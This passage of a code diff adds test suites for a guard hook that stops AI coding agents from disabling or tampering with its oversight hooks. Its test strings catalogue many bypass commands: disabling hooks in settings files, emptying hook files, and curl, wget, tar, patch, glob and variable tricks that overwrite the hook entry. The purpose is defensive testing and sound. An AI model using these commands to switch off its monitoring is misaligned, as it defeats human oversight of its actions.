and `popd` return to where the shell already stood. + ["a cd - back out of the state", "cd ~/.failproofai; cat config.json; cd -; rm -rf node_modules"], + ["leaving through a link to elsewhere", "ln -s /work/proj/dist current && rm -rf current/x"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + + it.each([ + // The session's own directory exists, so a cd back to it does not fail. + ["/work/proj", "cd ~/.failproofai; cat config.json; cd /work/proj; rm -rf node_modules"], + ["/work/proj", "cd frontend; npm install; cd ..; rm -rf node_modules"], + ["/work/proj", "cd /tmp; printf x > notes.txt"], + ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], + ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ["/work/proj", "cd a && cd b && cd c && cd d && cd e; rm -rf build"], + ["/work/proj", "cd a; make; cd ..; cd b; make; cd ..; cd c; make; cd ..; cd d; make; cd ..; cd e; make; cd ..; rm -rf dist"], + // After `&&` the cd has succeeded, so `$PWD` is where it went. + ["/work/proj/node_modules/.bin", 'cd /tmp && printf x > "$PWD/failproofai"'], + ])("allows ordinary moves from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + it.each([ + ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], + ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + // The command word is a program, not a path written to, and an option + // is not a path: neither is read from the directory. + ["failproofai's own state", "/home/u/.failproofai/logs", "date"], + ["failproofai's own state", "/home/u/.failproofai/logs", "uname -a"], + ["an installed package", "/home/u/proj/node_modules/failproofai/dist", "uname -a"], + ])("allows ordinary work from %s", async (_label, cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // The walk runs on every tool call, and one evaluation holds up every hook + // on the machine. A directory that grew with each `cd` made later words + // slower to judge without bound (28.9 s for the first input in review). + it.each([ + ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], + ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], + ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + // Each `;` keeps the directories a failed cd would leave the shell in. + ["2,000 cds that may each fail", Array(2000).fill("cd a").join("; ") + "; ls"], + ["2,000 cds into globs that may each fail", Array(2000).fill("cd a*").join("; ") + "; ls"], + [ + "1,000 links and a write through each", + Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} /tmp/l${i}; printf x > /tmp/l${i}/f`).join("; "), + ], + ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + // A value that refers to itself grew with every expansion pass. + ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], + // The envelope's 128 KB field cap. A lookbehind that scanned back over a + // run of letters at every position took 16 s at 32 KB, and a long path + // walked on disk one component at a time took a second at 128 KB. + ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], + ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["thirty long option clusters, each glued to .bin", "echo " + Array(30).fill("-" + "a".repeat(4_000) + ".bin/x").join(" ")], + ["a 128 KB run of letters ending in .bin", "echo -" + "a".repeat(128_000) + ".bin/failproofai.txt"], + ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], + [ + "thirty paths just under PATH_MAX", + "echo " + Array.from({ length: 30 }, (_, i) => `w${i}/` + "a/".repeat(2_040)).join(" "), + ], + ])("judges %s in bounded time", async (_label, command) => { + const started = performance.now(); + await bash(command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + // From a directory on disk, where a glued value may be a link: one per + // letter of a long line's option words was a second of path walks. + it.each([ + ["128 KB of distinct option clusters, each with a value glued on", "foo " + optionClusters(3_700)], + ["curl with 128 KB of glued output files", "curl " + optionClusters(3_700).replaceAll(" -", " -so")], + ["a chain of 2,000 links made on the line", Array.from({ length: 2000 }, (_, i) => `ln -s l${i} l${i + 1}`).join("; ") + "; printf x > l2000/x"], + ["1,000 links put into a directory, each written through", Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} out/; printf x > out/t${i}`).join("; ")], + ["128 KB of echo with quoted redirects", Array.from({ length: 6_000 }, (_, i) => `echo 'a > b${i}'`).join("; ")], + ])("judges %s from a directory on disk in bounded time", async (_label, command) => { + const started = performance.now(); + await bashIn(tmpdir(), command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + it("judges a patch naming 7,000 files in bounded time", async () => { + const files = Array.from({ length: 7_000 }, (_, i) => `*** Add File: src/f${i}.ts\n+x`); + const started = performance.now(); + expect(await patch({ command: v4a(...files) }, tmpdir())).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }); + }); + + // The guard protects the entry by NAME, so it has to be the name every + // project-scope hook hands npx. If an integration ever installs a different + // package or bin name, this fails instead of the guard silently protecting a + // file no hook runs. + it("protects the name every project-scope npx hook command runs", async () => { + const names = new Set(); + const viaNpx: string[] = []; + const otherwise: string[] = []; + const mixed: string[] = []; + for (const integration of listIntegrations()) { + if (!integration.scopes.includes("project")) continue; + // Every event's entry, not just one: an event launched some other way + // would be a hook the guard was never checked against. + const launched = integration.eventTypes.map((eventType) => { + const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); + const found = [...entry.matchAll(/npx -y (\S+)/g)].map(([, name]) => name); + for (const name of found) names.add(name); + return found.length > 0; + }); + if (launched.every(Boolean)) viaNpx.push(integration.id); + else if (launched.some(Boolean)) mixed.push(integration.id); + else otherwise.push(integration.id); + } + expect(mixed).toEqual([]); + // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one + // of these lists and fails here until the guard is checked against it. + expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); + // OpenCode runs npx from the shim checked below; Pi loads the extension by + // a package path, which runs the CLI next to it, not through npx. + expect(otherwise.sort()).toEqual(["opencode", "pi"]); + // OpenCode's entry is a plugin path; the npx call is inside the shim that + // install writes next to it. + const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); + const cwd = vi.spyOn(process, "cwd").mockReturnValue(dir); + try { + listIntegrations() + .find((integration) => integration.id === "opencode")! + .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); + const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); + // The launcher and its arguments, tied to the same switch, so a shim that + // kept these arguments for another program would fail here. + expect(shim).toContain("const USE_NPX = true;"); + expect(shim).toMatch(/const cmd = USE_NPX \? "npx" :/); + const spawned = [...shim.matchAll(/USE_NPX\s*\?\s*\["-y", "([^"]+)"/g)].map(([, name]) => name); + expect(spawned.length).toBeGreaterThan(0); + for (const name of spawned) names.add(name); + } finally { + cwd.mockRestore(); + rmSync(dir, { recursive: true, force: true }); + } + expect([...names]).toEqual(["failproofai"]); + for (const name of names) { + expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); + expect(await bash(`cp /tmp/stub.sh node_modules/.bin/${name}`)).toBe("deny"); + } + }); +}); + +/** + * hermes's seventh review of FailproofAI/failproofai#1058, each reproduced with + * real bash, curl and wget in a scratch project first: a final-component glob + * over more names than the walk expanded (F7), variable values that reach a + * destination through another variable, an operator, or a `cd` (F11), and a + * long option cut short (`--output-di`), which curl before 8 and every + * getopt_long tool take. Alongside, the same paths through a sweep of npm's + * bin directory, a link made earlier on the line, a loop, the builtins that set + * a variable without `=`, and a sed script read from a file. + */ +describe("block-failproofai-commands — hermes's seventh round", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-round7-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out")); + mkdirSync(join(proj, "many")); + writeFileSync(join(proj, "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "hook")); + // More plain names than a glob was expanded to, and one link among them. + for (let i = 0; i < 4200; i++) writeFileSync(join(proj, "many", `a${String(i).padStart(4, "0")}`), ""); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "many", "hook")); + writeFileSync(join(proj, "writes.sed"), "w hook\n"); + writeFileSync(join(proj, "prints.sed"), "p\n"); + writeFileSync(join(proj, "out", "a.txt"), ""); + const diff = (path: string) => `--- a/${path}\n+++ b/${path}\n@@ -1 +1 @@\n-#!/bin/sh\n+exit 0\n`; + writeFileSync(join(proj, "entry.patch"), diff("node_modules/.bin/failproofai")); + writeFileSync(join(proj, "links.patch"), diff("bins/failproofai")); + writeFileSync(join(proj, "app.patch"), diff("src/app.ts")); + writeFileSync(join(proj, "output.cfg"), "silent\noutput = hook\n"); + writeFileSync(join(proj, "landing.cfg"), "output-dir = bins\nremote-name\n"); + writeFileSync(join(proj, "quiet.cfg"), "# just quiet\nsilent\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + // F7: past 4096 plain names, the link among them still counts. + "tee many/* < /tmp/stub.sh", + "cat /tmp/stub.sh | tee many/?*", + "cd many && tee * < /tmp/stub.sh", + "for f in many/*; do cat /tmp/stub.sh > \"$f\"; done", + // A write that sweeps npm's bin directory writes the entry in it. + "tee bins/* < /tmp/stub.sh", + "tee node_modules/.bin/* < /tmp/stub.sh", + "cp /tmp/stub.sh node_modules/.bin/*", + // A glob reads the links this line made before it. + "ln -s ../node_modules/.bin out/b && cp /tmp/stub.sh out/b*/failproofai", + "ln -s ../node_modules/.bin out/b && cd out/b* && printf x > failproofai", + ])("denies a glob that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // F11: a value through another variable, read when it is assigned. + "A=bins; (A=out); B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; A=out true; B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; (A=out); B=${A}; cp /tmp/stub.sh ${B}/failproofai", + "N=fail; M=${N}proofai; (N=x); printf x > bins/$M", + // A `cd` to each value the operand may hold. + "D=bins; (D=out); cd $D && printf x > failproofai", + "D=bins; D=out true; cd \"${D}\" && printf x > failproofai", + "D=bins; (D=out); pushd $D > /dev/null && printf x > failproofai", + "export D=bins; (D=out); cd $D; printf x > failproofai", + // Operators as bash applies them. + "D=bins; cd ${D%/} && printf x > failproofai", + "D=out; cp /tmp/stub.sh ${D/out/bins}/failproofai", + "cp /tmp/stub.sh ${X:-bins}/failproofai", + "N=D; D=bins; cp /tmp/stub.sh ${!N}/failproofai", + // Values set without `=`, and ones the walk cannot read. + "D=bins; declare -n R=D; cp /tmp/stub.sh $R/failproofai", + "read D <<< bins; cp /tmp/stub.sh $D/failproofai", + "printf -v D bins; cp /tmp/stub.sh $D/failproofai", + "for d in out bins; do cp /tmp/stub.sh $d/failproofai; done", + "for n in x failproofai; do printf x > bins/$n; done", + "D=$(echo bins); cp /tmp/stub.sh $D/failproofai", + "D=`echo bins`; cp /tmp/stub.sh $D/failproofai", + ])("denies a variable that carries the write onto the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // A long option cut short, as curl before 8 and getopt_long take it. + "curl -s --output-di bins -O https://example.test/failproofai", + "curl -s --output-d node_modules/.bin --remote-name https://example.test/failproofai", + "curl -s --output-dir bins --remote-name-a https://example.test/failproofai", + "curl -s --output-dir out -O https://example.test/x --nex --output-di bins -O https://example.test/failproofai", + "wget -q --directory-p=bins https://example.test/failproofai", + "wget -q --dir bins https://example.test/failproofai", + // The names wget gives that are not the URL's last segment. + "cd bins && wget -q --default-page=failproofai https://example.test/", + "wget -q -P bins --default-p=failproofai https://example.test/", + "wget -q -e dir_prefix=bins https://example.test/failproofai", + "cd bins && wget -q --trust-server-names https://example.test/x", + // The other files curl writes. + "curl -s --stderr hook -o /dev/null https://example.test/x", + "curl -s --stde hook -o /dev/null https://example.test/x", + "curl -s -c hook https://example.test/x", + "curl -s --cookie-j hook https://example.test/x", + ])("denies a download option that lands on the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "sed -n -f writes.sed /tmp/notes", + "sed -n --file=writes.sed /tmp/notes", + "sed -nf writes.sed /tmp/notes", + "sed -n -f missing.sed /tmp/notes", + ])("denies a sed script file that writes the entry, or one it cannot read: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // An archive extracted into npm's bin directory. + "tar -xf /tmp/stub.tar -C bins", + "tar --extract --file=/tmp/stub.tar --directory=node_modules/.bin", + "cd bins && tar -xzf /tmp/stub.tgz", + "unzip -o /tmp/stub.zip -d bins", + // A patch file that names the entry, directly or through a link. + "patch -p1 < entry.patch", + "patch -p1 -i links.patch", + "git apply entry.patch", + "git -C . apply links.patch", + "cat entry.patch | patch -p1", + "patch -p1 < missing.patch", + // A curl config read onto the line. + "curl -K output.cfg https://example.test/x", + "curl --config landing.cfg https://example.test/failproofai", + "curl -sK missing.cfg https://example.test/x", + ])("denies an archive, patch or config that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "rm -rf node_modules/.bin/*", + "tar -xf /tmp/stub.tar -C out", + "tar -czf out/backup.tgz node_modules", + "patch -p1 < app.patch", + "git apply app.patch", + "curl -K quiet.cfg https://example.test/x -o out/x", + "ls many/* > /dev/null", + "wc -l many/* > out/counts", + "for f in out/*.txt; do cp \"$f\" \"$f.bak\"; done", + "for f in many/a000*; do cat \"$f\" > /dev/null; done", + "D=out; cp /tmp/stub.sh ${D}/notes", + "D=out/; cp /tmp/stub.sh ${D%/}/x", + "OUT=out/log.txt; echo hi > \"$OUT\"", + "cp /tmp/stub.sh ${X:-out}/notes", + "read D <<< out; cp /tmp/stub.sh $D/notes", + "cd out && curl -sO https://example.test/failproofai/my-tool", + "curl -s --cookie hook https://example.test/x", + "sed -n -f prints.sed /tmp/notes > out/x", + "cd out && wget -q --default-page=index.txt https://example.test/", + ])("still allows: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); + + // F13: curl's `-O` takes no value, so the URL after it is no file name, and + // a download from a directory Codex does not report lands by the URL's last + // segment, `my-tool` here. + it.each([ + "cd out && curl -sO http://host/failproofai/my-tool", + "cd out && curl -s -O http://host/failproofai/my-tool", + "cd out && curl -sSLO http://host/failproofai/my-tool", + ])("allows a Codex download whose URL only passes through a failproofai directory: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it.each([ + "curl -sD failproofai http://host/x", + "curl -s --stderr failproofai http://host/x", + "curl -so failproofai http://host/x", + ])("denies a Codex download that names the entry as a file curl writes: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); +}); + +// Found end to end on macOS, whose default shell is zsh: Claude Code runs the +// agent's command there, `**/` recurses with no option, and `setopt globdots` +// lets `*` match `.bin`. +describe("block-failproofai-commands — globs read the way zsh expands them", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-zsh-glob-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "deep", "a", "b"), { recursive: true }); + mkdirSync(join(proj, "src", "lib"), { recursive: true }); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "deep", "a", "b", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh deep/**/hook", + "cp /tmp/stub.sh deep/***/hook", + "setopt globdots; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt GLOB_DOTS; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt extendedglob; cp /tmp/stub.sh deep/a/b/(#i)HOOK", + ])("denies %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it("still allows a recursive cleanup in a tree with more directories than one glob component reads", async () => { + for (let i = 0; i < 1100; i++) mkdirSync(join(proj, "src", "many", `d${i}`), { recursive: true }); + expect(await bashIn(proj, "rm -rf **/*.log")).toBe("allow"); + }); + + it.each(["rm -f src/**/*.orig", "rm -rf **/__pycache__", "cp /tmp/stub.sh node_modules/*/notes"])( + "still allows %s", + async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }, + ); +}); + +// hermes's eighth round on 52c478da: each wrote the entry for real with +// GNU tar, curl and bash while the guard allowed it. +describe("block-failproofai-commands — option clusters, nested configs and operators, round eight", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round8-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "long"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "hook")); + symlinkSync(entry, join(proj, "long", "hook")); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + writeFileSync(join(proj, "inner.cfg"), "url = http://127.0.0.1/failproofai\noutput = hook\n"); + writeFileSync(join(proj, "outer.cfg"), "config = inner.cfg\n"); + writeFileSync(join(proj, "outer2.cfg"), "-K outer.cfg\n"); + writeFileSync(join(proj, "plain.cfg"), "url = http://127.0.0.1/x\noutput = notes.txt\n"); + writeFileSync(join(proj, "loop.cfg"), "config = loop.cfg\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a curl -K glued at the end of a cluster", "curl -sKinner.cfg"], + ["a curl -K glued with more flags before it", "curl -fsSLKinner.cfg"], + ["a config naming another", "curl -s -K outer.cfg"], + ["a config naming another as -K", "curl -s --config outer2.cfg"], + ["configs that name each other forever", "curl -s -K loop.cfg"], + ["tar's -C glued to its directory", "tar -xf stub.tar -Cbins"], + ["tar's -f glued to its archive", "tar -xfstub.tar -C bins"], + ["tar's -C glued after other flags", "tar -xvzf stub.tgz -Cbins"], + ["the longest suffix removed", "A=long/out/x; cp stub ${A%%/*}/hook"], + ["printf -v reusing its format", "printf -v D '%s' ho ok; cp stub $D"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "curl -s -K plain.cfg", + "curl -oK http://127.0.0.1/x", + "tar -xf stub.tar -Cout", + "tar -xfstub.tar", + "A=long/out/x; cp stub ${A%/*}/notes", + "printf -v D '%s' a b; cp stub out/$D", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); + +// hermes's ninth round on e0d88d81. +describe("block-failproofai-commands — printf conversions and tar's -C order, round nine", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round9-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "16")); + symlinkSync(entry, join(proj, "8")); + symlinkSync(entry, join(proj, "ff")); + // Named after what bash prints, so a deny below means the guard computed the same. + for (const name of ["3.1", "1.600000e+01", "1.23457e+06", "3.14", "0.0001"]) symlinkSync(entry, join(proj, name)); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a hexadecimal %d", "printf -v D '%d' 0x10; cp stub $D"], + ["an octal %d", "printf -v D '%d' 010; cp stub $D"], + ["%i", "printf -v D '%i' 0x10; cp stub $D"], + ["%x", "printf -v D '%x' 255; cp stub $D"], + ["%u of a hexadecimal", "printf -v D '%u' 0x10; cp stub $D"], + ["a width this does not compute", "printf -v D '%2d' 16; cp stub $D"], + // hermes on db411090: bash assigns the valid prefix of a bad number, and floats. + ["the prefix of an invalid number", "printf -v D '%d' 16junk; cp stub $D"], + ["%.0f", "printf -v D '%.0f' 16; cp stub $D"], + ["%.1f", "printf -v D '%.1f' 3.14159; cp stub $D"], + ["%e", "printf -v D '%e' 16; cp stub $D"], + ["%g of a whole number", "printf -v D '%g' 16; cp stub $D"], + ["%g in exponent form", "printf -v D '%g' 1234567; cp stub $D"], + ["%g of a small number", "printf -v D '%g' 0.0001; cp stub $D"], + ["a padded %f, split into words", "printf -v D '%5.2f' 3.14159; cp stub $D"], + ["tar extracting one member into an earlier -C", 'tar -xfstub.tar -C bins failproofai -C "$PWD/out" other'], + ["tar's -C relative to the one before it", "tar -xf stub.tar -C node_modules -C .bin"], + ["tar's --directory before another -C", "tar -x -f stub.tar --directory=bins failproofai -C out x"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "printf -v D '%d' 42; cp stub out/$D", + "printf -v N '%03d' 7; echo $N", + "tar -xf stub.tar -C out a -C out b", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/guard-openclaw-apply-patch.test.ts b/__tests__/hooks/guard-openclaw-apply-patch.test.ts new file mode 100644 index 000000000..fe203a63c --- /dev/null +++ b/__tests__/hooks/guard-openclaw-apply-patch.test.ts @@ -0,0 +1,43 @@ +// @vitest-environment node +import { beforeEach, describe, expect, it } from "vitest"; +import { registerBuiltinPolicies } from "../../src/hooks/builtin-policies"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; +import { clearPolicies } from "../../src/hooks/policy-registry"; + +/** + * OpenClaw passes its own `apply_patch` tool to policies under that name, + * uncanonicalized, where Codex's arrives as `Edit`. The always-on guard matched + * only Bash and the file tools, so an OpenClaw patch that planted + * `node_modules/.bin/failproofai`, or rewrote failproofai's state, never + * reached it (FailproofAI/failproofai#1058). This runs the guard the way the + * handler does: registered from its catalog matcher, then evaluated. + */ +describe("block-failproofai-commands — OpenClaw's native apply_patch", () => { + beforeEach(() => { + clearPolicies(); + registerBuiltinPolicies([]); + }); + + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + const evaluate = (toolInput: Record) => + evaluatePolicies( + "PreToolUse", + { tool_name: "apply_patch", tool_input: toolInput, cwd: "/work/proj" }, + { cli: "openclaw", cwd: "/work/proj" }, + ); + + it.each([ + ["adding the npx entry", { input: patchOf("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["rewriting the state", { input: patchOf("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["rewriting the installed package", { patch: patchOf("*** Update File: node_modules/failproofai/dist/cli.mjs", "@@", "+exit 0") }], + ])("denies a patch %s", async (_label, toolInput) => { + const result = await evaluate(toolInput); + expect(result.decision).toBe("deny"); + expect(result.policyName).toBe("failproofai/block-failproofai-commands"); + }); + + it("allows a patch to project files", async () => { + const result = await evaluate({ input: patchOf("*** Update File: src/app.ts", "@@", "-a", "+b") }); + expect(result.decision).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts new file mode 100644 index 000000000..8a034a053 --- /dev/null +++ b/__tests__/hooks/settings-guard.test.ts @@ -0,0 +1,1832 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { POLICY_CATALOG } from "../../src/hooks/policy-catalog"; +import type { PolicyContext } from "../../src/hooks/policy-types"; +import { + agentPatchTargetPaths, + agentToolWritePaths, + isAgentConfigDirPath, + isAgentSettingsPath, +} from "../../src/hooks/agent-settings-guard"; + +// Same mocks as state-guard.test.ts: no policy under test may spawn anything. +// The filesystem IS read here — the guard follows symlinks — but only under +// a throwaway HOME and work directory created below. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; +const PROJ = "/work/proj"; + +let root: string; +let home: string; +let savedHome: string | undefined; + +beforeAll(() => { + // os.homedir() reads HOME on every call on POSIX, so the guard's `~` and its + // home-directory symlink check both land in this directory, never the real one. + root = mkdtempSync(join(tmpdir(), "fpai-settings-guard-")); + home = join(root, "home"); + mkdirSync(home, { recursive: true }); + savedHome = process.env.HOME; + process.env.HOME = home; +}); + +afterAll(() => { + if (savedHome === undefined) delete process.env.HOME; + else process.env.HOME = savedHome; + rmSync(root, { recursive: true, force: true }); +}); + +function run(toolName: string, toolInput: Record, cwd: string = PROJ) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session: { cwd } }; + return policy.fn(ctx); +} + +const decision = async (toolName: string, toolInput: Record, cwd?: string) => + (await run(toolName, toolInput, cwd)).decision; + +/** Denied, and for the settings reason rather than the state or CLI reason next to it. */ +const deniedAsSettings = async (toolName: string, toolInput: Record, cwd?: string) => { + const result = await run(toolName, toolInput, cwd); + return result.decision === "deny" && /settings or hook file/.test(result.reason ?? ""); +}; + +const write = (filePath: string, cwd?: string) => deniedAsSettings("Write", { file_path: filePath, content: "{}" }, cwd); +const bash = (command: string, cwd?: string) => deniedAsSettings("Bash", { command }, cwd); +const bashDecision = (command: string, cwd?: string) => decision("Bash", { command }, cwd); + +/** + * #1794: the always-on guard refused writes to `~/.failproofai` only. An agent + * could set `"disableAllHooks": true` in any Claude Code settings layer, or take + * failproofai's entries out of any CLI's hook file, and from then on no policy + * ran — this guard included — with nothing anywhere saying so. + */ +describe("block-failproofai-commands — agent settings and hook files", () => { + describe("the reported edits", () => { + it("denies setting disableAllHooks through Edit on the user settings", async () => { + expect( + await deniedAsSettings("Edit", { + file_path: `${home}/.claude/settings.json`, + old_string: "{", + new_string: '{"disableAllHooks": true,', + }), + ).toBe(true); + }); + + it("denies writing a project's local settings, which overrides the user's", async () => { + expect( + await deniedAsSettings("Write", { + file_path: `${PROJ}/.claude/settings.local.json`, + content: '{"disableAllHooks":true}', + }), + ).toBe(true); + }); + + it("denies the jq-then-mv rewrite from the shell", async () => { + expect(await bash(`jq '.disableAllHooks=true' ~/.claude/settings.json > t && mv t ~/.claude/settings.json`)).toBe(true); + }); + + it("denies emptying another CLI's hooks file", async () => { + expect(await write(`${home}/.codex/hooks.json`)).toBe(true); + }); + }); + + describe("every integration's files", () => { + // What `failproofai policies --install` writes for each CLI, plus the files + // that can switch those hooks off without touching them (Codex's trust + // hashes in config.toml, Goose's plugin registration). + const homeFiles = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".copilot/hooks/failproofai.json", + ".cursor/hooks.json", + ".config/opencode/opencode.json", + ".config/opencode/plugins/failproofai.mjs", + ".pi/agent/settings.json", + ".pi/agent/extensions/failproofai/index.ts", + ".gemini/settings.json", + ".gemini/config/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose/config.yaml", + ".factory/hooks.json", + ".config/devin/config.json", + ".hermes/config.yaml", + ".hermes/profiles/work/config.yaml", + ".hermes-work/config.yaml", + ".hermes/plugins/failproofai/__init__.py", + ".openclaw/openclaw.json", + ".openclaw-work/openclaw.json", + ]; + it.each(homeFiles)("denies writing ~/%s", async (file) => { + expect(await write(`${home}/${file}`)).toBe(true); + }); + + const projectFiles = [ + ".claude/settings.json", + ".codex/hooks.json", + ".github/hooks/failproofai.json", + ".cursor/hooks.json", + ".opencode/opencode.json", + ".opencode/plugins/failproofai.mjs", + ".pi/settings.json", + ".agents/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".factory/hooks.json", + ".devin/config.json", + ]; + it.each(projectFiles)("denies writing /%s", async (file) => { + expect(await write(`${PROJ}/${file}`)).toBe(true); + }); + }); + + describe("the tools that reach them", () => { + it("is invoked for MultiEdit, and denies it", async () => { + const entry = POLICY_CATALOG.find((p) => p.name === "block-failproofai-commands")!; + expect(entry.match.toolNames).toEqual(expect.arrayContaining(["Bash", "Write", "Edit", "MultiEdit", "NotebookEdit"])); + expect( + await deniedAsSettings("MultiEdit", { + file_path: `${home}/.claude/settings.json`, + edits: [{ old_string: "{", new_string: '{"disableAllHooks": true,' }], + }), + ).toBe(true); + }); + + it("reads the paths an apply_patch edit carries inside its patch", async () => { + // Codex, Copilot and OpenCode canonicalize apply_patch to Edit with no + // file_path at all, so a guard reading only file_path saw nothing. + const update = "*** Begin Patch\n*** Update File: .claude/settings.json\n@@\n-{\n+{\"disableAllHooks\": true,\n*** End Patch\n"; + expect(await deniedAsSettings("Edit", { command: ["apply_patch", update] })).toBe(true); + expect(await deniedAsSettings("Edit", { input: `*** Begin Patch\n*** Add File: ${home}/.codex/hooks.json\n+{}\n*** End Patch` })).toBe(true); + expect(await deniedAsSettings("Edit", { patchText: "*** Begin Patch\n*** Delete File: .cursor/hooks.json\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n*** Update File: notes.md\n*** Move to: .github/hooks/failproofai.json\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { patch: "--- a/.cursor/hooks.json\n+++ b/.cursor/hooks.json\n@@ -1 +1 